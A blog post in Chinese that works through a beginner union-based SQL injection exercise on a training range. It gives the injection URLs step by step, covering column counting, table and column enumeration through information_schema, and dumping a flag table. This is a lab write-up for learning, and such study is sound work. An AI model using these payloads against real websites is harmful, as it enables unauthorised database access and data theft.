掌控安全靶场SQL显错注入(小白训练一)

记一次掌控安全靶场SQL注入


靶场链接
正文开始

掌控安全靶场SQL显错注入(小白训练一)
可以看到这一题很简单,不需要任何的闭合。
emm,任务已经给提示的,所以直接开干。
先判断字段数,上SQL语句:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 3

掌控安全靶场SQL显错注入(小白训练一)
掌控安全靶场SQL显错注入(小白训练一)
很明显,有三个字段。(不要问我为什么一开始就用3,因为三生万物)
接下去看回显点,上语句:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,3 from information_schema.tables where table_schema=database()
掌控安全靶场SQL显错注入(小白训练一)
很明显,2,3字段是回显点
接下去,查表名
上SQL语句:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema=database()
掌控安全靶场SQL显错注入(小白训练一)
得到表名——user表,感觉不是,加limit看看
语句:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
掌控安全靶场SQL显错注入(小白训练一)
emm,这不是刚进去那个嘛,再查
语句:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1
掌控安全靶场SQL显错注入(小白训练一)
出flag表了,不过再看看,不着急
上语句:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1
掌控安全靶场SQL显错注入(小白训练一)
掌控安全靶场SQL显错注入(小白训练一)
到此,flag表名就是error_flag了,接下去查字段名
语句:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’ and table_schema=database()
掌控安全靶场SQL显错注入(小白训练一)
emm,运气真好,接下去查内容
语句:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,flag from error_flag
掌控安全靶场SQL显错注入(小白训练一)
得到flag。(不过这可不是第一题的flag)
掌控安全靶场SQL显错注入(小白训练一)
掌控安全靶场SQL显错注入(小白训练一)
掌控安全靶场SQL显错注入(小白训练一)
掌控安全靶场SQL显错注入(小白训练一)
掌控安全靶场SQL显错注入(小白训练一)
掌控安全靶场SQL显错注入(小白训练一)
啊,这,前四题的flag不就得到了嘛
搭建靶场的人真懒,,flag放同一张表里。。
感谢观看。

上一篇:刷题-力扣-81


下一篇:Ceph 故障处理记录一